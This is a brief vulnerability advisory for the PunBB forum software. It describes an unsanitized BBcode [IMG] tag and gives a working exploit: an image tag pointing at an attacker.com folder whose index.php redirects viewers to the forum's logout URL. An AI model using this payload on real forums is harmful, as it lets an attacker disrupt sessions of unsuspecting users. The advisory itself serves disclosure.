Description:
PunBB is a fast and lightweight PHP powered discussion board. It is released
under the GNU Public License. Its primary goal is to be a faster, smaller and

other discussion boards, but is generally faster and outputs smaller pages.

~~~~~~~~~~~~~~~~
According to the issue that affect PHPBB discovered by easyex recently at
http://www.securityfocus.com/bid/14555/info , so it also affected in another
bulletin board or forum that allow BBcode such as PunBB.
The issue is due to a failure of the application to properly sanitize
user-supplied input in bbcode '[IMG]' tags included in a message or user
signature (if allowed , default is off) .
Successful exploitation of this vulnerability could permit the injection of
arbitrary HTML or script code into the browser of an unsuspecting user in the
context of the affected site.
Exploit:
~~~~~~~~
just post a message that include
[img]http://attacker.com/yuckfou.png[/img]
yuckfou.png is a folder , and include some "index.php" file
---- index.php ----
<?php
header("Location: http://target.com/punbb1.2.6/login.php?action=out&id=2";); ?>
